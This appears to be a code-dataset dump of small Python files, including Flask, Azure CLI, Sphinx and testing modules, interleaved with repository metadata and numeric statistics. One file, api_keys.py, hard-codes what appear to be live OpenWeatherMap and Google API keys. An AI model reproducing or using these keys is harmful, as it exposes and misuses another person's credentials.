586c3eaee3f9c2cc87fb088dc81fb12ffa4b3a9d
|
[
"Apache-2.0"
] | null | null | null |
class C:
@staticmethod
def baz():
print "hello world"
@staticmethod
def foo():
C.baz()
| 14.875
| 27
| 0.512605
| 13
| 119
| 4.692308
| 0.692308
| 0.491803
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.369748
| 119
| 8
| 28
| 14.875
| 0.813333
| 0
| 0
| 0.285714
| 0
| 0
| 0.091667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.142857
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8107986cd704a5c0ec5714f5c981967529eb12a3
| 237
|
py
|
Python
|
atomate/lammps/firetasks/__init__.py
|
Zhuoying/atomate
|
067023f0f740d3abac47b7ae7743c1c31eff8a06
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
atomate/lammps/firetasks/__init__.py
|
Zhuoying/atomate
|
067023f0f740d3abac47b7ae7743c1c31eff8a06
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
atomate/lammps/firetasks/__init__.py
|
Zhuoying/atomate
|
067023f0f740d3abac47b7ae7743c1c31eff8a06
|
[
"BSD-3-Clause-LBNL"
] | null | null | null |
# from .glue_tasks import CopyPackmolOutputs
# from .parse_outputs import LammpsToDB
# from .run_calc import RunLammpsDirect, RunLammpsFake, RunPackmol
# from .write_inputs import WriteInputFromForceFieldAndTopology, WriteInputFromIOSet
| 47.4
| 84
| 0.85654
| 23
| 237
| 8.652174
| 0.73913
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.097046
| 237
| 4
| 85
| 59.25
| 0.929907
| 0.962025
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
810f9c65082210831838217a75ad08b89b94401f
| 437
|
py
|
Python
|
flask_cc_api/exceptions/error_core.py
|
suAdminWen/cc-api
|
a00d9b82583fae57a3cd92ec0478d434f141f172
|
[
"MIT"
] | 6
|
2019-03-04T03:08:07.000Z
|
2019-07-16T13:43:12.000Z
|
flask_cc_api/exceptions/error_core.py
|
suAdminWen/cc-api
|
a00d9b82583fae57a3cd92ec0478d434f141f172
|
[
"MIT"
] | 1
|
2021-11-22T15:02:09.000Z
|
2021-11-22T15:02:09.000Z
|
flask_cc_api/exceptions/error_core.py
|
suAdminWen/cc-api
|
a00d9b82583fae57a3cd92ec0478d434f141f172
|
[
"MIT"
] | 1
|
2019-07-01T01:01:27.000Z
|
2019-07-01T01:01:27.000Z
|
from enum import Enum
class CrabException(Exception):
pass
class ErrorCore(Enum):
'''
abstract class for error enums
'''
def descriptions(self, error):
raise NotImplementedError()
@property
def desc(self):
'''
return enum desc for error
'''
return self.descriptions(self)
def desc_with_param(self, *context):
return self.descriptions(self, *context)
| 17.48
| 48
| 0.617849
| 46
| 437
| 5.826087
| 0.5
| 0.179104
| 0.164179
| 0.19403
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.28833
| 437
| 24
| 49
| 18.208333
| 0.861736
| 0.130435
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.272727
| false
| 0.090909
| 0.090909
| 0.090909
| 0.727273
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
811b8d650d46669d6efdcc447831b6c8028c62b6
| 146
|
py
|
Python
|
starter_code/api_keys.py
|
danykoud/Python_API
|
37c6e10829be1c9c408dfe5fbbc48f93b2f32717
|
[
"ADSL"
] | null | null | null |
starter_code/api_keys.py
|
danykoud/Python_API
|
37c6e10829be1c9c408dfe5fbbc48f93b2f32717
|
[
"ADSL"
] | null | null | null |
starter_code/api_keys.py
|
danykoud/Python_API
|
37c6e10829be1c9c408dfe5fbbc48f93b2f32717
|
[
"ADSL"
] | null | null | null |
# OpenWeatherMap API Key
weather_api_key = "2e751db150eed8a2a8ae9dc91e31a091"
# Google API Key
g_key = "AIzaSyBqrWs9x-quXSBQkAVuz-x7PP3t64gJj7E"
| 24.333333
| 52
| 0.828767
| 15
| 146
| 7.866667
| 0.666667
| 0.152542
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.183206
| 0.10274
| 146
| 5
| 53
| 29.2
| 0.717557
| 0.253425
| 0
| 0
| 0
| 0
| 0.669811
| 0.669811
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
812dc5cc6c0c7cfbd094e49987b6723fa5995bc5
| 558
|
py
|
Python
|
Testing/publications/magazines/glossy/__init__.py
|
freder/PageBotExamples
|
eb4ced53a673b9376e8357afa9ea0795b022b13c
|
[
"Ruby",
"MIT"
] | 5
|
2020-06-20T22:01:23.000Z
|
2021-08-06T04:39:50.000Z
|
Testing/publications/magazines/glossy/__init__.py
|
freder/PageBotExamples
|
eb4ced53a673b9376e8357afa9ea0795b022b13c
|
[
"Ruby",
"MIT"
] | 5
|
2020-05-17T09:32:27.000Z
|
2021-03-15T19:45:52.000Z
|
Testing/publications/magazines/glossy/__init__.py
|
freder/PageBotExamples
|
eb4ced53a673b9376e8357afa9ea0795b022b13c
|
[
"Ruby",
"MIT"
] | 2
|
2021-02-25T19:07:45.000Z
|
2022-01-09T21:14:06.000Z
|
# -*- coding: UTF-8 -*-
# -----------------------------------------------------------------------------
#
# P A G E B O T
#
# Copyright (c) 2016+ Buro Petr van Blokland + Claudia Mens
# www.pagebot.io
# Licensed under MIT conditions
#
# Supporting DrawBot, www.drawbot.com
# Supporting Flat, xxyxyz.org/flat
# -----------------------------------------------------------------------------
#
# magazines/glossy/__init__.py
#
from pagebot.publications.magazines.basemagazine import BaseMagazine
class Glossy(BaseMagazine):
pass
| 27.9
| 79
| 0.483871
| 51
| 558
| 5.215686
| 0.823529
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010684
| 0.16129
| 558
| 19
| 80
| 29.368421
| 0.557692
| 0.752688
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
d49055703746fc254e45ae07ca4ead0895943c48
| 772
|
py
|
Python
|
mason/clients/athena/execution.py
|
kyprifog/mason
|
bf45672124ef841bc16216c293034f4ccc506621
|
[
"Apache-2.0"
] | 4
|
2021-04-12T17:49:34.000Z
|
2022-01-23T19:54:29.000Z
|
mason/clients/athena/execution.py
|
kyprifog/mason
|
bf45672124ef841bc16216c293034f4ccc506621
|
[
"Apache-2.0"
] | 24
|
2021-04-30T18:40:25.000Z
|
2021-05-12T20:52:06.000Z
|
mason/clients/athena/execution.py
|
kyprifog/mason
|
bf45672124ef841bc16216c293034f4ccc506621
|
[
"Apache-2.0"
] | 3
|
2021-04-12T19:40:43.000Z
|
2021-09-07T21:56:36.000Z
|
from typing import Union, Tuple, Optional
from mason.clients.athena.athena_client import AthenaClient
from mason.clients.response import Response
from mason.clients.engines.execution import ExecutionClient
from mason.engines.execution.models.jobs import InvalidJob, ExecutedJob, Job
class AthenaExecutionClient(ExecutionClient):
def __init__(self, client: AthenaClient):
self.client: AthenaClient = client
def run_job(self, job: Job, response: Optional[Response] = None) -> Tuple[Union[InvalidJob, ExecutedJob], Response]:
return self.client.run_job(job, response)
def get_job(self, job_id: str, response: Optional[Response] = None) -> Tuple[Union[InvalidJob, ExecutedJob], Response]:
return self.client.get_job(job_id, response)
| 40.631579
| 123
| 0.768135
| 95
| 772
| 6.126316
| 0.326316
| 0.061856
| 0.082474
| 0.09622
| 0.285223
| 0.285223
| 0.285223
| 0.285223
| 0.285223
| 0.285223
| 0
| 0
| 0.137306
| 772
| 18
| 124
| 42.888889
| 0.873874
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.416667
| 0.166667
| 0.916667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
d491aeabe783a74f7f38894c5d65e1b786f9cfd7
| 2,977
|
py
|
Python
|
tests/unit/test_known_bugs_utils.py
|
freyes/hotsos
|
5c8ce16040ee4bc2eb882ca7ccb70445b6d38eda
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/test_known_bugs_utils.py
|
freyes/hotsos
|
5c8ce16040ee4bc2eb882ca7ccb70445b6d38eda
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/test_known_bugs_utils.py
|
freyes/hotsos
|
5c8ce16040ee4bc2eb882ca7ccb70445b6d38eda
|
[
"Apache-2.0"
] | null | null | null |
import os
import mock
import shutil
import tempfile
import yaml
import utils
from common import known_bugs_utils
class TestKnownBugsUtils(utils.BaseTestCase):
def setUp(self):
super().setUp()
self.tmpdir = tempfile.mkdtemp()
def tearDown(self):
if os.path.isdir(self.tmpdir):
shutil.rmtree(self.tmpdir)
super().tearDown()
def test_get_known_bugs(self):
known_bugs = {known_bugs_utils.MASTER_YAML_KNOWN_BUGS_KEY:
[{'id': 'https://bugs.launchpad.net/bugs/1',
'desc': 'no description provided',
'origin': 'testplugin.01part'}]}
with mock.patch.object(known_bugs_utils, 'PLUGIN_TMP_DIR',
self.tmpdir):
with open(os.path.join(self.tmpdir, 'known_bugs.yaml'), 'w') as fd:
fd.write(yaml.dump(known_bugs))
ret = known_bugs_utils._get_known_bugs()
self.assertEquals(ret, known_bugs)
def test_get_known_bugs_none(self):
with mock.patch.object(known_bugs_utils, 'PLUGIN_TMP_DIR',
self.tmpdir):
ret = known_bugs_utils._get_known_bugs()
self.assertEquals(ret, {})
def test_add_known_bug_first(self):
with mock.patch.object(known_bugs_utils, 'PLUGIN_TMP_DIR',
self.tmpdir):
known_bugs_utils.add_known_bug(1)
ret = known_bugs_utils._get_known_bugs()
self.assertEquals(ret,
{known_bugs_utils.MASTER_YAML_KNOWN_BUGS_KEY:
[{'id': 'https://bugs.launchpad.net/bugs/1',
'desc': 'no description provided',
'origin': 'testplugin.01part'}
]})
def test_add_known_bug(self):
known_bugs = {known_bugs_utils.MASTER_YAML_KNOWN_BUGS_KEY:
[{'id': 'https://bugs.launchpad.net/bugs/1',
'desc': 'no description provided',
'origin': 'testplugin.01part'}]}
with mock.patch.object(known_bugs_utils, 'PLUGIN_TMP_DIR',
self.tmpdir):
with open(os.path.join(self.tmpdir, 'known_bugs.yaml'), 'w') as fd:
fd.write(yaml.dump(known_bugs))
known_bugs_utils.add_known_bug(2)
ret = known_bugs_utils._get_known_bugs()
expected = {known_bugs_utils.MASTER_YAML_KNOWN_BUGS_KEY:
[{'id': 'https://bugs.launchpad.net/bugs/1',
'desc': 'no description provided',
'origin': 'testplugin.01part'},
{'id': 'https://bugs.launchpad.net/bugs/2',
'desc': 'no description provided',
'origin': 'testplugin.01part'}]}
self.assertEquals(ret, expected)
| 39.171053
| 79
| 0.541149
| 322
| 2,977
| 4.720497
| 0.192547
| 0.189474
| 0.138158
| 0.065789
| 0.801316
| 0.752632
| 0.701974
| 0.651974
| 0.651974
| 0.651974
| 0
| 0.008749
| 0.34733
| 2,977
| 75
| 80
| 39.693333
| 0.773546
| 0
| 0
| 0.491803
| 0
| 0
| 0.172321
| 0
| 0
| 0
| 0
| 0
| 0.065574
| 1
| 0.098361
| false
| 0
| 0.114754
| 0
| 0.229508
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
d491b7ee4ac0aff66daa90f7a7900b30c7786e46
| 180
|
py
|
Python
|
src/higgstables/handle_root_files/__init__.py
|
LLR-ILD/higgstables
|
ab95f1e8e85983ab0528e8d5a8272351dc3c2079
|
[
"Apache-2.0"
] | 1
|
2022-01-28T10:46:13.000Z
|
2022-01-28T10:46:13.000Z
|
src/higgstables/handle_root_files/__init__.py
|
LLR-ILD/higgstables
|
ab95f1e8e85983ab0528e8d5a8272351dc3c2079
|
[
"Apache-2.0"
] | null | null | null |
src/higgstables/handle_root_files/__init__.py
|
LLR-ILD/higgstables
|
ab95f1e8e85983ab0528e8d5a8272351dc3c2079
|
[
"Apache-2.0"
] | null | null | null |
"""The working horse: Gets counts out of rootfiles into the .csv tables."""
from .root_to_table import FileToCounts, TablesFromFiles
__all__ = ["FileToCounts", "TablesFromFiles"]
| 36
| 75
| 0.772222
| 22
| 180
| 6.045455
| 0.863636
| 0.406015
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.122222
| 180
| 4
| 76
| 45
| 0.841772
| 0.383333
| 0
| 0
| 0
| 0
| 0.257143
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
d4c3e9db7049c36d883300456029172d1713deb3
| 399
|
py
|
Python
|
web/controllers/api/__init__.py
|
yao6891/FlaskOrdering
|
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
|
[
"Apache-2.0"
] | 1
|
2020-03-24T04:26:34.000Z
|
2020-03-24T04:26:34.000Z
|
web/controllers/api/__init__.py
|
yao6891/FlaskOrdering
|
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
|
[
"Apache-2.0"
] | null | null | null |
web/controllers/api/__init__.py
|
yao6891/FlaskOrdering
|
cbd24bd8d95afaba91ce4d6b1b3548c4e82e3807
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
from flask import Blueprint
route_api = Blueprint( 'api_page',__name__ )
from web.controllers.api.Member import *
from web.controllers.api.Food import *
from web.controllers.api.Order import *
from web.controllers.api.My import *
from web.controllers.api.Cart import *
from web.controllers.api.Address import *
@route_api.route("/")
def index():
return "Mina Api V1.0~~"
| 30.692308
| 44
| 0.741855
| 59
| 399
| 4.898305
| 0.423729
| 0.145329
| 0.373702
| 0.435986
| 0.467128
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008571
| 0.122807
| 399
| 13
| 45
| 30.692308
| 0.817143
| 0.052632
| 0
| 0
| 0
| 0
| 0.06366
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.090909
| false
| 0
| 0.636364
| 0.090909
| 0.818182
| 0.181818
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
d4db99ae4348b43d837819d642bf054bf17eb108
| 1,567
|
py
|
Python
|
algos/eom.py
|
steveman1123/multiStonk
|
f5ae03eaee0f25b0f64c07a6920b96cddfbd272e
|
[
"MIT"
] | 1
|
2022-01-12T14:45:27.000Z
|
2022-01-12T14:45:27.000Z
|
algos/eom.py
|
Nllii/multiStonk
|
f5ae03eaee0f25b0f64c07a6920b96cddfbd272e
|
[
"MIT"
] | 1
|
2021-12-08T02:37:32.000Z
|
2021-12-08T09:39:00.000Z
|
algos/eom.py
|
Nllii/multiStonk
|
f5ae03eaee0f25b0f64c07a6920b96cddfbd272e
|
[
"MIT"
] | 5
|
2021-11-22T20:18:36.000Z
|
2021-12-19T04:00:39.000Z
|
#this file contains functions specifically for the ease of movement algo
#what changes when a stock has a high volume breakout? Can we see when that will happen? (also check earnings report)
# https://therobusttrader.com/volume-indicators-volume-trading/
import otherfxns as o
algo = o.os.path.basename(__file__).split('.')[0] #name of the algo based on the file name
def getList(verbose=True):
#perform checks to see which one ones will gain
# If the price is rising in an uptrend but the volume is reducing or unchanged, it may show that there's little interest in the security, and the price may reverse. Similarly, when the price is rapidly declining but the volume is low, it could mean that the institutional traders are not interested in the price direction. So the price will soon reverse to the upside.
return goodBuys #return dict of symb:note
def goodSells(symbList, verbose=False):
print("incomplete")
return False
#TODO: this should also account for squeezing
def sellUp(symb=""):
mainSellUp = float(o.c[algo]['sellUp'])
if(symb in stockList):
sellUp = mainSellUp #TODO: account for squeeze here
else:
sellUp = mainSellUp
return sellUp
#TODO: this should also account for squeezing
def sellDn(symb=""):
mainSellDn = float(o.c[algo]['sellDn'])
if(symb in stockList):
sellDn = mainSellDn #TODO: account for squeeze here
else:
sellDn = mainSellDn
return sellDn
def sellUpDn():
return float(o.c[algo]['sellUpDn'])
#get a list of stocks to be sifted through
def getUnsortedList():
return []
| 32.645833
| 370
| 0.73963
| 239
| 1,567
| 4.832636
| 0.527197
| 0.034632
| 0.018182
| 0.028571
| 0.119481
| 0.119481
| 0.069264
| 0.069264
| 0
| 0
| 0
| 0.000778
| 0.179962
| 1,567
| 48
| 371
| 32.645833
| 0.898054
| 0.58328
| 0
| 0.32
| 0
| 0
| 0.048287
| 0
| 0
| 0
| 0
| 0.020833
| 0
| 1
| 0.24
| false
| 0
| 0.04
| 0.12
| 0.52
| 0.04
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
d4de37035fcf998d7be1d1d3bd860eb781ae6561
| 150
|
py
|
Python
|
linux.py
|
akien-mga/godot-mono-builds
|
9670946cf513a329b1daa868a20292627595ae26
|
[
"MIT"
] | 1
|
2021-05-17T18:01:11.000Z
|
2021-05-17T18:01:11.000Z
|
linux.py
|
TREVO786/godot-mono-builds
|
3669d9aba4ee1e3fed411f679382aa730ba7ad09
|
[
"MIT"
] | null | null | null |
linux.py
|
TREVO786/godot-mono-builds
|
3669d9aba4ee1e3fed411f679382aa730ba7ad09
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python
from desktop import run_main
if __name__ == '__main__':
from sys import argv
run_main(argv[1:], target_platform='linux')
| 16.666667
| 47
| 0.7
| 22
| 150
| 4.272727
| 0.727273
| 0.148936
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008065
| 0.173333
| 150
| 8
| 48
| 18.75
| 0.75
| 0.106667
| 0
| 0
| 0
| 0
| 0.097744
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
d4e45d296dc583cc535ca9be4891d353079817f0
| 281
|
py
|
Python
|
Variables.py
|
imran-ice/iMessage-Visualizer
|
933664cc4072eac0e43bd874dede792370ae3673
|
[
"MIT"
] | 5
|
2019-08-14T16:04:15.000Z
|
2022-02-18T19:58:18.000Z
|
Variables.py
|
imran-ice/iMessage-Visualizer
|
933664cc4072eac0e43bd874dede792370ae3673
|
[
"MIT"
] | 1
|
2019-01-23T19:47:00.000Z
|
2019-02-09T05:00:27.000Z
|
Variables.py
|
AndrewMatayka/iMessage-Visualizer
|
933664cc4072eac0e43bd874dede792370ae3673
|
[
"MIT"
] | 1
|
2020-06-14T14:48:53.000Z
|
2020-06-14T14:48:53.000Z
|
#############################################################################
#Replace with the persons name that you were texting
leftName = "Bob"
#Replace with your name
rightName = "John"
#############################################################################
| 28.1
| 78
| 0.30605
| 17
| 281
| 5.058824
| 0.823529
| 0.255814
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.117438
| 281
| 9
| 79
| 31.222222
| 0.346774
| 0.259786
| 0
| 0
| 0
| 0
| 0.162791
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
d4e7ff104a0d88280f84226bc147c73ec27c68d3
| 772
|
py
|
Python
|
src/command_modules/azure-cli-cloud/azure/cli/command_modules/cloud/commands.py
|
enterstudio/azure-cli
|
b0504c3b634e17f1afc944a9572864a40da6bc18
|
[
"MIT"
] | 2
|
2020-07-22T18:53:05.000Z
|
2021-09-11T05:52:33.000Z
|
src/command_modules/azure-cli-cloud/azure/cli/command_modules/cloud/commands.py
|
enterstudio/azure-cli
|
b0504c3b634e17f1afc944a9572864a40da6bc18
|
[
"MIT"
] | null | null | null |
src/command_modules/azure-cli-cloud/azure/cli/command_modules/cloud/commands.py
|
enterstudio/azure-cli
|
b0504c3b634e17f1afc944a9572864a40da6bc18
|
[
"MIT"
] | null | null | null |
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
from azure.cli.core.commands import cli_command
cli_command(__name__, 'cloud list', 'azure.cli.command_modules.cloud.custom#list_clouds')
cli_command(__name__, 'cloud show', 'azure.cli.command_modules.cloud.custom#show_cloud')
cli_command(__name__, 'cloud register', 'azure.cli.command_modules.cloud.custom#register_cloud')
cli_command(__name__, 'cloud unregister', 'azure.cli.command_modules.cloud.custom#unregister_cloud')
| 64.333333
| 100
| 0.612694
| 82
| 772
| 5.414634
| 0.426829
| 0.202703
| 0.126126
| 0.171171
| 0.405405
| 0.297297
| 0
| 0
| 0
| 0
| 0
| 0
| 0.063472
| 772
| 11
| 101
| 70.181818
| 0.614108
| 0.435233
| 0
| 0
| 0
| 0
| 0.596288
| 0.480278
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.2
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
be047d5fccd0e87af2e8aca9f6abc06dced9a176
| 100
|
py
|
Python
|
tworaven_apps/content_pages/apps.py
|
Mital188/TwoRavens
|
f84751b33fde26cd379d8120b3c6a6b5ed2c315d
|
[
"Apache-2.0"
] | 20
|
2017-12-11T07:26:06.000Z
|
2021-11-22T16:16:20.000Z
|
tworaven_apps/content_pages/apps.py
|
Mital188/TwoRavens
|
f84751b33fde26cd379d8120b3c6a6b5ed2c315d
|
[
"Apache-2.0"
] | 849
|
2017-10-20T18:21:18.000Z
|
2022-02-18T02:45:44.000Z
|
server/opendp_apps/content_pages/apps.py
|
opendp/dpcreator
|
6ba3c58ecdcd81ca1f4533a14ce7604eccf6a646
|
[
"MIT"
] | 2
|
2020-10-16T22:03:24.000Z
|
2020-11-15T22:45:19.000Z
|
from django.apps import AppConfig
class ContentPagesConfig(AppConfig):
name = 'content_pages'
| 16.666667
| 36
| 0.78
| 11
| 100
| 7
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.15
| 100
| 5
| 37
| 20
| 0.905882
| 0
| 0
| 0
| 0
| 0
| 0.13
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
be2abf1057061e32d713459c86cdec678909aae0
| 102
|
py
|
Python
|
newTemplate/apps.py
|
reBiocoder/my_hubu
|
19dbfc12d9e5ee509b3cc70826eafa6a5014f21a
|
[
"MIT"
] | 6
|
2020-05-02T11:08:39.000Z
|
2021-07-20T02:55:47.000Z
|
newTemplate/apps.py
|
reBiocoder/my_hubu
|
19dbfc12d9e5ee509b3cc70826eafa6a5014f21a
|
[
"MIT"
] | 8
|
2020-06-06T01:45:02.000Z
|
2022-03-12T00:24:54.000Z
|
newTemplate/apps.py
|
reBiocoder/my_hubu
|
19dbfc12d9e5ee509b3cc70826eafa6a5014f21a
|
[
"MIT"
] | 3
|
2020-05-04T00:36:46.000Z
|
2021-02-15T09:49:44.000Z
|
from django.apps import AppConfig
class NewtemplateConfig(AppConfig):
name = 'newTemplate'
| 17
| 36
| 0.735294
| 10
| 102
| 7.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.196078
| 102
| 5
| 37
| 20.4
| 0.914634
| 0
| 0
| 0
| 0
| 0
| 0.113402
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
076c190b2f1622fb92c8ec4bf5a6c0d6ddd3c7b4
| 22,015
|
py
|
Python
|
Lib/site-packages/sphinx/search/nl.py
|
nemarugommula/ecommerce
|
60185e79655fbaf0fcad9e877a886fe9eb3c4451
|
[
"bzip2-1.0.6"
] | 8
|
2019-04-27T01:19:45.000Z
|
2020-09-21T03:31:01.000Z
|
Lib/site-packages/sphinx/search/nl.py
|
nemarugommula/ecommerce
|
60185e79655fbaf0fcad9e877a886fe9eb3c4451
|
[
"bzip2-1.0.6"
] | 12
|
2021-03-09T03:01:16.000Z
|
2022-03-11T23:59:36.000Z
|
Lib/site-packages/sphinx/search/nl.py
|
nemarugommula/ecommerce
|
60185e79655fbaf0fcad9e877a886fe9eb3c4451
|
[
"bzip2-1.0.6"
] | 10
|
2019-02-04T11:49:35.000Z
|
2020-03-21T13:32:20.000Z
|
"""
sphinx.search.nl
~~~~~~~~~~~~~~~~
Dutch search language: includes the JS porter stemmer.
:copyright: Copyright 2007-2013 by the Sphinx team, see AUTHORS.
:license: BSD, see LICENSE for details.
"""
from sphinx.search import SearchLanguage, parse_stop_word
import snowballstemmer
if False:
# For type annotation
from typing import Any # NOQA
dutch_stopwords = parse_stop_word('''
| source: http://snowball.tartarus.org/algorithms/dutch/stop.txt
de | the
en | and
van | of, from
ik | I, the ego
te | (1) chez, at etc, (2) to, (3) too
dat | that, which
die | that, those, who, which
in | in, inside
een | a, an, one
hij | he
het | the, it
niet | not, nothing, naught
zijn | (1) to be, being, (2) his, one's, its
is | is
was | (1) was, past tense of all persons sing. of 'zijn' (to be) (2) wax, (3) the washing, (4) rise of river
op | on, upon, at, in, up, used up
aan | on, upon, to (as dative)
met | with, by
als | like, such as, when
voor | (1) before, in front of, (2) furrow
had | had, past tense all persons sing. of 'hebben' (have)
er | there
maar | but, only
om | round, about, for etc
hem | him
dan | then
zou | should/would, past tense all persons sing. of 'zullen'
